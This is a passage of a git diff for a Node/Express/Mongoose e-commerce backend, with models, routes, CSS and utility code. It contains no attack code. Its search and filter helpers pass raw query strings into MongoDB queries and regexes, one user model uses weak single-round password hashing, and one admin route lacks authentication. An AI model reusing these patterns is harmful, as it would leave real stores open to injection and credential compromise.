// user: {
// type: Schema.Types.ObjectId,
// refPath: "sysUsers",
// },
refreshToken:{
type: String,
default: ''
},
userIP: {
type: String
},
// expires: {
// type : Date
// },
// sysUsers: {
// type: String,
// enum: ['user', 'admin','dispatcher']
// },
});
module.exports = mongoose.model('refreshtoken', tokenSchema);

27
server/models/Remark.js Normal file
View File

@@ -0,0 +1,27 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const remarkSchema = mongoose.Schema({
comment: {
type: String
},
isDeleted: {
type: Date,
default: null
},
// createdBy: {
// type: Schema.Types.ObjectId,
// refPath: "deletedByModel"
// },
// deletedBy: {
// type: Schema.Types.ObjectId,
// refPath: "deletedByModel"
// },
// deleteByModel: {
// type: String,
// enum: ['dispatcher', 'admin', 'user', 'superadmin']
// },
// reason: {
// type: String//product_tobereturned,cancel_order_by_admin, cancel_order_by_user, disapprove_product
// }
}, { timestamps: true });
module.exports = mongoose.model('remark', remarkSchema);

20
server/models/Review.js Normal file
View File

@@ -0,0 +1,20 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const reviewSchema = mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: 'user'
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
comment: {
type: String
},
star: {
type: Number,
max:5
}
}, { timestamps: true });
module.exports = mongoose.model('reviews', reviewSchema);

View File

@@ -0,0 +1,11 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema
//later we have to do mapping through redis server
const socketMappingSchema = new mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: "admin",
},
socketId: String
});
module.exports = mongoose.model('socketmapping', socketMappingSchema);

View File

@@ -0,0 +1,12 @@
const mongoose = require('mongoose');
const suggestKeywordSchema = mongoose.Schema({
keyword: {
type: String,
unique: true
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('suggestkeyword', suggestKeywordSchema);

100
server/models/User.js Normal file
View File

@@ -0,0 +1,100 @@
const mongoose = require("mongoose");
const crypto = require("crypto");
const Schema = mongoose.Schema
const userSchema = new mongoose.Schema({
name: {
type: String,
trim: true,
required: true,
maxlength: 32
},
email: {
type: String,
trim: true,
// unique:true
},
userID: {
type: String,
trim: true,
unique: true
},
loginDomain: {
type: String,
default: "system",//can be facebook, google as well
enum:['system', 'facebook', 'google']
},
password: {
type: String,
// required: true
},
location: [{
type: Schema.Types.ObjectId,
ref: "address"
}],
photo: {
type: String
},
socialPhoto: {
type: String
},
dob:{
type: String
},
gender:{
type:String,
enum:['male','female','other']
},
resetPasswordLink: {
type: String,
default: ""
},
emailVerifyLink: {
type: String,
default: ""
},
salt: String,
isBlocked: {
type: Date,
default: null
}
}, { timestamps: true });
userSchema.index({ geolocation: "2dsphere" });
const sha512 = function (password, salt) {
let hash = crypto.createHmac('sha512', salt);
hash.update(password);
let value = hash.digest('hex');
return {
passwordHash: value
};
};
userSchema.pre('save', function (next) {
let user = this;
if (user.isModified('password')) {
// salt
const ranStr = function (n) {
return crypto.randomBytes(Math.ceil(8))
.toString('hex')
.slice(0, n);
};
// applying sha512 alogrithm
let salt = ranStr(16);
let passwordData = sha512(user.password, salt);
user.password = passwordData.passwordHash;
user.salt = salt;
next();
} else {
next();
}
})
userSchema.statics.findByCredentials = async function (email, password) {
let User = this;
const user = await User.findOne({ email, loginDomain:'system' })
if (!user) return ''
let passwordData = sha512(password, user.salt)
if (passwordData.passwordHash == user.password) {
return user
}
}
module.exports = mongoose.model("user", userSchema);

20
server/models/WishList.js Normal file
View File

@@ -0,0 +1,20 @@
const mongoose = require('mongoose');
const Schema = mongoose.Schema;
const wishSchema = mongoose.Schema({
user: {
type: Schema.Types.ObjectId,
ref: 'user'
},
product: {
type: Schema.Types.ObjectId,
ref: 'product'
},
quantity: {
type: Number,
},
isDeleted: {
type: Date,
default: null
}
}, { timestamps: true });
module.exports = mongoose.model('wishlist', wishSchema);

View File

@@ -0,0 +1,18 @@
const mongoose = require("mongoose");
const Schema = mongoose.Schema
const forYouSchema = new mongoose.Schema({
forYou: [{
user:{
type: Schema.Types.ObjectId,
ref: 'user',
unique: true
},
products: [{
type: Schema.Types.ObjectId,
ref: 'product',
unique: true
}]
}]
});
module.exports = mongoose.model("minedproduct", forYouSchema);

View File

@@ -0,0 +1,92 @@
const mongoose = require('mongoose');
const orderSchema = new mongoose.Schema({
shippingInfo: {
address: {
type: String,
required: true
},
city: {
type: String,
required: true
},
state: {
type: String,
required: true
},
country: {
type: String,
required: true
},
pincode: {
type: Number,
required: true
},
phoneNo: {
type: Number,
required: true
},
},
orderItems: [
{
name: {
type: String,
required: true
},
price: {
type: Number,
required: true
},
quantity: {
type: Number,
required: true
},
image: {
type: String,
required: true
},
product: {
type: mongoose.Schema.ObjectId,
ref: "Product",
required: true
},
},
],
user: {
type: mongoose.Schema.ObjectId,
ref: "User",
required: true
},
paymentInfo: {
id: {
type: String,
required: true
},
status: {
type: String,
required: true
},
},
paidAt: {
type: Date,
required: true
},
totalPrice: {
type: Number,
required: true,
default: 0
},
orderStatus: {
type: String,
required: true,
default: "Processing",
},
deliveredAt: Date,
shippedAt: Date,
createdAt: {
type: Date,
default: Date.now
},
});
module.exports = mongoose.model("Order", orderSchema);

View File

@@ -0,0 +1,68 @@
const mongoose = require('mongoose');
const paymentSchema = new mongoose.Schema({
resultInfo: {
resultStatus: {
type: String,
required: true
},
resultCode: {
type: String,
required: true
},
resultMsg: {
type: String,
required: true
},
},
txnId: {
type: String,
required: true
},
bankTxnId: {
type: String,
required: true
},
orderId: {
type: String,
required: true
},
txnAmount: {
type: String,
required: true
},
txnType: {
type: String,
required: true
},
gatewayName: {
type: String,
required: true
},
bankName: {
type: String,
required: true
},
mid: {
type: String,
required: true
},
paymentMode: {
type: String,
required: true
},
refundAmt: {
type: String,
required: true
},
txnDate: {
type: String,
required: true
},
createdAt: {
type: Date,
default: Date.now
}
});
module.exports = mongoose.model("Payment", paymentSchema);

View File

@@ -0,0 +1,122 @@
const mongoose = require('mongoose');
const productSchema = new mongoose.Schema({
name: {
type: String,
required: [true, "Please enter product name"],
trim: true
},
description: {
type: String,
required: [true, "Please enter product description"]
},
highlights: [
{
type: String,
required: true
}
],
specifications: [
{
title: {
type: String,
required: true
},
description: {
type: String,
required: true
}
}
],
price: {
type: Number,
required: [true, "Please enter product price"]
},
cuttedPrice: {
type: Number,
required: [true, "Please enter cutted price"]
},
images: [
{
public_id: {
type: String,
required: true
},
url: {
type: String,
required: true
}
}
],
brand: {
name: {
type: String,
required: true
},
logo: {
public_id: {
type: String,
required: true,
},
url: {
type: String,
required: true,
}
}
},
category: {
type: String,
required: [true, "Please enter product category"]
},
stock: {
type: Number,
required: [true, "Please enter product stock"],
maxlength: [4, "Stock cannot exceed limit"],
default: 1
},
warranty: {
type: Number,
default: 1
},
ratings: {
type: Number,
default: 0
},
numOfReviews: {
type: Number,
default: 0
},
reviews: [
{
user: {
type: mongoose.Schema.ObjectId,
ref: "User",
required: true
},
name: {
type: String,
required: true
},
rating: {
type: Number,
required: true
},
comment: {
type: String,
required: true
}
}
],
user: {
type: mongoose.Schema.ObjectId,
ref: "User",
required: true
},
createdAt: {
type: Date,
default: Date.now
}
});
module.exports = mongoose.model('Product', productSchema);

View File

@@ -0,0 +1,78 @@
const mongoose = require('mongoose');
const validator = require('validator');
const bcrypt = require('bcryptjs');
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const userSchema = new mongoose.Schema({
name: {
type: String,
required: [true, "Please Enter Your Name"],
},
email: {
type: String,
required: [true, "Please Enter Your Email"],
unique: true,
},
gender: {
type: String,
required: [true, "Please Enter Gender"]
},
password: {
type: String,
required: [true, "Please Enter Your Password"],
minLength: [8, "Password should have atleast 8 chars"],
select: false,
},
avatar: {
public_id: {
type: String,
},
url: {
type: String,
}
},
role: {
type: String,
default: "user",
},
createdAt: {
type: Date,
default: Date.now,
},
resetPasswordToken: String,
resetPasswordExpire: Date,
});
userSchema.pre("save", async function (next) {
if (!this.isModified("password")) {
next();
}
this.password = await bcrypt.hash(this.password, 10);
});
userSchema.methods.getJWTToken = function () {
return jwt.sign({ id: this._id }, process.env.JWT_SECRET, {
expiresIn: process.env.JWT_EXPIRE
});
}
userSchema.methods.comparePassword = async function (enteredPassword) {
return await bcrypt.compare(enteredPassword, this.password);
}
userSchema.methods.getResetPasswordToken = async function () {
// generate token
const resetToken = crypto.randomBytes(20).toString("hex");
// generate hash token and add to db
this.resetPasswordToken = crypto.createHash("sha256").update(resetToken).digest("hex");
this.resetPasswordExpire = Date.now() + 15 * 60 * 1000;
return resetToken;
}
module.exports = mongoose.model('User', userSchema);

View File

View File

@@ -0,0 +1,6 @@
.login-form {
width: 20rem;
max-width: 90%;
margin: auto;
display: block;
}

View File

@@ -0,0 +1,24 @@
.cart__item-list {
list-style: none;
margin: 0;
padding: 0;
margin: auto;
width: 40rem;
max-width: 90%;
}
.cart__item {
display: flex;
align-items: center;
justify-content: space-between;
padding: 1rem;
box-shadow: 0 2px 8px rgba(6, 18, 134, 0.788);
margin-bottom: 1rem;
}
.cart__item h1,
.cart__item h2 {
margin-right: 1rem;
font-size: 1.2rem;
margin: 0;
}

View File

@@ -0,0 +1,23 @@
.form-control {
margin: 1rem 0;
}
.form-control label,
.form-control input,
.form-control textarea {
display: block;
width: 100%;
margin-bottom: 0.25rem;
}
.form-control input,
.form-control textarea {
border: 1px solid #a1a1a1;
font: inherit;
border-radius: 2px;
}
.form-control input:focus,
.form-control textarea:focus {
outline-color: #0e04276e;
}

302
server/public/css/main.css Normal file
View File

@@ -0,0 +1,302 @@
@import url("https://fonts.googleapis.com/css?family=Open+Sans:400,700");
@import url("https://fonts.googleapis.com/css2?family=Nanum+Gothic:wght@700&display=swap");
* {
box-sizing: border-box;
}
@import url("https://fonts.googleapis.com/css2?family=Ranchers&display=swap");
.logo-custom {
font-family: "Ranchers";
font-size: 22px;
}
body {
padding: 0;
margin: 0;
font-family: "Nanum Gothic", "Open Sans", sans-serif;
}
main {
padding: 1rem;
margin: auto;
}
form {
display: inline;
}
.centered {
text-align: center;
}
.image {
height: 20rem;
}
.image img {
height: 100%;
}
.main-header {
width: 100%;
height: 3.5rem;
background: linear-gradient(
90deg,
rgba(2, 0, 36, 1) 0%,
rgba(13, 13, 38, 1) 0%,
rgba(0, 212, 255, 1) 100%
);
padding: 0 1.5rem;
display: flex;
align-items: center;
box-shadow: 0 2px 10px rgba(6, 81, 241, 0.637);
}
.main-header__nav {
height: 100%;
width: 100%;
display: none;
align-items: center;
justify-content: space-between;
}
.main-header__item-list {
list-style: none;
margin: 0;
padding: 0;
display: flex;
}
.main-header__item {
margin: 0 1rem;
padding: 1rem;
}
.main-header__item a,
.main-header__item button {
font: inherit;
background: transparent;
border: none;
text-decoration: none;
color: white;
cursor: pointer;
}
.main-header__item a:hover,
.main-header__item a:active,
.main-header__item a.active,
.main-header__item button:hover,
.main-header__item button:active {
color: #ffeb3b;
}
.mobile-nav {
width: 30rem;
height: 100vh;
max-width: 90%;
position: fixed;
left: 0;
top: 0;
background: white;
z-index: 10;
padding: 2rem 1rem 1rem 2rem;
transform: translateX(-100%);
transition: transform 0.3s ease-out;
}
.mobile-nav.open {
transform: translateX(0);
}
.mobile-nav__item-list {
list-style: none;
display: flex;
flex-direction: column;
margin: 0;
padding: 0;
}
.mobile-nav__item {
margin: 1rem;
padding: 0;
}
.mobile-nav__item a,
.mobile-nav__item button {
font: inherit;
text-decoration: none;
color: black;
font-size: 1.5rem;
padding: 0.5rem 2rem;
background: transparent;
border: none;
cursor: pointer;
}
.mobile-nav__item a:active,
.mobile-nav__item a:hover,
.mobile-nav__item a.active,
.mobile-nav__item button:hover,
.mobile-nav__item button:active {
background: linear-gradient(
90deg,
rgba(2, 0, 36, 1) 0%,
rgba(13, 13, 38, 1) 0%,
rgba(0, 212, 255, 1) 100%
);
color: white;
border-radius: 3px;
}
#side-menu-toggle {
border: 1px solid white;
font: inherit;
padding: 0.5rem;
display: block;
background: transparent;
color: white;
cursor: pointer;
}
#side-menu-toggle:focus {
outline: none;
}
#side-menu-toggle:active,
#side-menu-toggle:hover {
color: #ffeb3b;
border-color: #ffeb3b;
}
.backdrop {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100vh;
background: rgba(0, 0, 0, 0.5);
z-index: 5;
display: none;
}
.grid {
display: flex;
flex-wrap: wrap;
justify-content: space-around;
align-items: stretch;
}
.card {
box-shadow: 0 2px 8px rgba(4, 151, 196, 0.425);
justify-content: center;
}
.card__header,
.card__content {
padding: 1rem;
}
.card__header h1,
.card__content h1,
.card__content h2,
.card__content p {
margin: 0;
}
.card__image {
width: 100%;
}
.card__image img {
width: 100%;
}
.card__actions {
padding: 1rem;
text-align: center;
}
.card__actions button,
.card__actions a {
margin: 0 0.25rem;
}
.btn {
display: inline-block;
padding: 0.25rem 1rem;
text-decoration: none;
font: inherit;
border: 1px solid #0d042e;
color: #0d042e;
background: white;
border-radius: 3px;
cursor: pointer;
}
.btn:hover,
.btn:active {
background-color: #0d042e;
color: white;
}
.btn.danger {
color: red;
border-color: red;
}
.btn.danger:hover,
.btn.danger:active {
background: red;
color: white;
}
.user-message {
margin: auto;
width: 90%;
border: 1px solid rgb(6, 71, 97);
padding: 0rem;
color: rgb(6, 71, 97);
display: flex;
justify-content: center;
}
.user-message--error {
background: white;
border: 1px solid red;
color: red;
}
.pagination {
margin-top: 2rem;
text-align: center;
}
.pagination a {
text-decoration: none;
color: rgb(4, 59, 41);
padding: 1rem;
border: 1px solid rgb(4, 59, 41);
margin: 0 1rem;
border-radius: 50%;
}
.pagination a:hover,
.pagination a:active,
.pagination a.active {
background-color: rgb(4, 19, 59);
color: white;
}
@media (min-width: 768px) {
.main-header__nav {
display: flex;
}
#side-menu-toggle {
display: none;
}
.user-message {
width: 30rem;
}
}
img {
height: 15rem;
}

View File

@@ -0,0 +1,29 @@
.orders {
list-style: none;
padding: 0;
margin: 0;
}
.orders__item h1 {
margin: 0;
font-size: 1rem;
}
.orders__item {
box-shadow: 2px 2px 8px 2px rgba(3, 1, 82, 0.822);
padding: 1rem;
margin-bottom: 1rem;
}
.orders__products {
list-style: none;
margin: 0;
padding: 0;
}
.orders__products-item {
margin: 0.5rem 0;
padding: 0.5rem;
border: 1px solid #070957;
color: #170653;
}

View File

@@ -0,0 +1,27 @@
.product-form {
width: 20rem;
max-width: 90%;
margin: auto;
display: block;
}
.product-item {
width: 20rem;
max-width: 95%;
margin: 1rem;
}
.product__title {
font-size: 1.2rem;
text-align: center;
}
.product__price {
text-align: center;
color: #4d4d4d;
margin-bottom: 0.5rem;
}
.product__description {
text-align: center;
}

16
server/public/js/main.js Normal file
View File

@@ -0,0 +1,16 @@
const backdrop = document.querySelector('.backdrop');
const sideDrawer = document.querySelector('.mobile-nav');
const menuToggle = document.querySelector('#side-menu-toggle');
function backdropClickHandler() {
backdrop.style.display = 'none';
sideDrawer.classList.remove('open');
}
function menuToggleClickHandler() {
backdrop.style.display = 'block';
sideDrawer.classList.add('open');
}
backdrop.addEventListener('click', backdropClickHandler);
menuToggle.addEventListener('click', menuToggleClickHandler);

View File

@@ -0,0 +1,17 @@
const express = require('express');
const { newOrder, getSingleOrderDetails, myOrders, getAllOrders, updateOrder, deleteOrder } = require('../controllers/orderController');
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
const router = express.Router();
router.route('/order/new').post(isAuthenticatedUser, newOrder);
router.route('/order/:id').get(isAuthenticatedUser, getSingleOrderDetails);
router.route('/orders/me').get(isAuthenticatedUser, myOrders);
router.route('/admin/orders').get(isAuthenticatedUser, authorizeRoles("admin"), getAllOrders);
router.route('/admin/order/:id')
.put(isAuthenticatedUser, authorizeRoles("admin"), updateOrder)
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteOrder);
module.exports = router;

View File

@@ -0,0 +1,13 @@
const express = require('express');
const { processPayment, paytmResponse, getPaymentStatus } = require('../controllers/paymentController');
const { isAuthenticatedUser } = require('../middlewares/user_actions/auth');
const router = express.Router();
router.route('/payment/process').post(processPayment);
router.route('/callback').post(paytmResponse);
router.route('/payment/status/:id').get(isAuthenticatedUser, getPaymentStatus);
module.exports = router;

View File

@@ -0,0 +1,26 @@
const express = require('express');
const { getAllProducts, getProductDetails, updateProduct, deleteProduct, getProductReviews, deleteReview, createProductReview, createProduct, getAdminProducts, getProducts } = require('../controllers/productController');
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
const { validateProduct } = require('../middlewares/validator');
const router = express.Router();
router.route('/products').get(getAllProducts);
router.route('/products/all').get(getProducts);
router.route('/admin/products').get(isAuthenticatedUser, authorizeRoles("admin"), getAdminProducts, validateProduct);
router.route('/admin/product/new').post(isAuthenticatedUser, authorizeRoles("admin"), createProduct, validateProduct);
router.route('/admin/product/:id')
.put(isAuthenticatedUser, authorizeRoles("admin"), updateProduct)
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteProduct);
router.route('/product/:id').get(getProductDetails);
router.route('/review').put(isAuthenticatedUser, createProductReview);
router.route('/admin/reviews')
.get(getProductReviews)
.delete(isAuthenticatedUser, deleteReview);
module.exports = router;

View File

@@ -0,0 +1,27 @@
const express = require('express');
const { registerUser, loginUser, logoutUser, getUserDetails, forgotPassword, resetPassword, updatePassword, updateProfile, getAllUsers, getSingleUser, updateUserRole, deleteUser } = require('../controllers/userController');
const { isAuthenticatedUser, authorizeRoles } = require('../middlewares/user_actions/auth');
const router = express.Router();
router.route('/register').post(registerUser);
router.route('/login').post(loginUser);
router.route('/logout').get(logoutUser);
router.route('/me').get(isAuthenticatedUser, getUserDetails);
router.route('/password/forgot').post(forgotPassword);
router.route('/password/reset/:token').put(resetPassword);
router.route('/password/update').put(isAuthenticatedUser, updatePassword);
router.route('/me/update').put(isAuthenticatedUser, updateProfile);
router.route("/admin/users").get(isAuthenticatedUser, authorizeRoles("admin"), getAllUsers);
router.route("/admin/user/:id")
.get(isAuthenticatedUser, authorizeRoles("admin"), getSingleUser)
.put(isAuthenticatedUser, authorizeRoles("admin"), updateUserRole)
.delete(isAuthenticatedUser, authorizeRoles("admin"), deleteUser);
module.exports = router;

30
server/server.js Normal file
View File

@@ -0,0 +1,30 @@
const app = require('./app');
const connectDatabase = require('./config/database');
const cloudinary = require('cloudinary');
const PORT = process.env.PORT || 4000;
// UncaughtException Error
process.on('uncaughtException', (err) => {
console.log(`Error: ${err.message}`);
process.exit(1);
});
// connectDatabase();
cloudinary.config({
cloud_name: process.env.CLOUDINARY_NAME,
api_key: process.env.CLOUDINARY_API_KEY,
api_secret: process.env.CLOUDINARY_API_SECRET,
});
const server = app.listen(PORT, () => {
console.log(`Server running`)
});
// Unhandled Promise Rejection
process.on('unhandledRejection', (err) => {
console.log(`Error: ${err.message}`);
server.close(() => {
process.exit(1);
});
});

View File

@@ -0,0 +1,48 @@
class APIFeatures {
constructor(query, queryStr) {
this.query = query;
this.queryStr = queryStr;
}
search() {
const keyword = this.queryStr.keyword
? {
name: {
$regex: this.queryStr.keyword,
$options: "i",
},
}
: {};
this.query = this.query.find({ ...keyword });
return this;
}
filter() {
const queryCopy = { ...this.queryStr };
// Removing fields from the query
const removeFields = ["keyword", "limit", "page"];
removeFields.forEach((el) => delete queryCopy[el]);
// Advance filter for price, ratings etc
let queryStr = JSON.stringify(queryCopy);
queryStr = queryStr.replace(
/\b(gt|gte|lt|lte)\b/g,
(match) => `$${match}`
);
this.query = this.query.find(JSON.parse(queryStr));
return this;
}
pagination(resPerPage) {
const currentPage = Number(this.queryStr.page) || 1;
const skip = resPerPage * (currentPage - 1);
this.query = this.query.limit(resPerPage).skip(skip);
return this;
}
}
module.exports = APIFeatures;

View File

@@ -0,0 +1,10 @@
class ErrorHandler extends Error {
constructor(message, statusCode) {
super(message);
this.statusCode = statusCode
Error.captureStackTrace(this, this.constructor);
}
}
module.exports = ErrorHandler;

21
server/utils/jwtToken.js Normal file
View File

@@ -0,0 +1,21 @@
// Create and send token and save in the cookie.
const sendToken = (user, statusCode, res) => {
// Create Jwt token
const token = user.getJwtToken();
// Options for cookie
const options = {
expires: new Date(
Date.now() + process.env.COOKIE_EXPIRES_TIME * 24 * 60 * 60 * 1000
),
httpOnly: true,
};
res.status(statusCode).cookie("token", token, options).json({
success: true,
token,
user,
});
};
module.exports = sendToken;

View File

@@ -0,0 +1,51 @@
class SearchFeatures {
constructor(query, queryString) {
this.query = query
this.queryString = queryString
}
search() {
const keyword = this.queryString.keyword ? {
name: {
$regex: this.queryString.keyword,
$options: "i",
}
} : {};
// console.log(keyword);
this.query = this.query.find({ ...keyword });
return this;
}
filter() {
const queryCopy = { ...this.queryString }
// fields to remove for category
const removeFields = ["keyword", "page", "limit"];
// console.log(queryCopy);
removeFields.forEach(key => delete queryCopy[key]);
// console.log(queryCopy);
// price filter
let queryString = JSON.stringify(queryCopy);
queryString = queryString.replace(/\b(gt|gte|lt|lte)\b/g, key => `$${key}`);
// console.log(JSON.parse(queryString));
this.query = this.query.find(JSON.parse(queryString));
return this;
}
pagination(resultPerPage) {
const currentPage = Number(this.queryString.page) || 1;
const skipProducts = resultPerPage * (currentPage - 1);
this.query = this.query.limit(resultPerPage).skip(skipProducts);
return this;
}
};
module.exports = SearchFeatures;

36
server/utils/sendEmail.js Normal file
View File

@@ -0,0 +1,36 @@
// const nodeMailer = require('nodemailer');
const sendEmail = async (options) => {
// const transporter = nodeMailer.createTransport({
// host: process.env.SMTP_HOST,
// port: process.env.SMTP_PORT,
// service: process.env.SMTP_SERVICE,
// auth: {
// user: process.env.SMTP_MAIL,
// pass: process.env.SMTP_PASSWORD,
// },
// });
// const mailOptions = {
// from: process.env.SMTP_MAIL,
// to: options.email,
// subject: options.subject,
// html: options.message,
// };
// await transporter.sendMail(mailOptions);
// const msg = {
// to: options.email,
// from: process.env.SENDGRID_MAIL,
// templateId: options.templateId,
// dynamic_template_data: options.data,
// }
// sgMail.send(msg).then(() => {
// console.log('Email Sent')
// }).catch((error) => {
// console.error(error)
// });
};
module.exports = sendEmail;

18
server/utils/sendToken.js Normal file
View File

@@ -0,0 +1,18 @@
const sendToken = (user, statusCode, res) => {
const token = user.getJWTToken();
const options = {
expires: new Date(
Date.now() + process.env.COOKIE_EXPIRE * 24 * 60 * 60 * 1000
),
httpOnly: true
}
res.status(statusCode).cookie('token', token, options).json({
success: true,
user,
token,
});
}
module.exports = sendToken;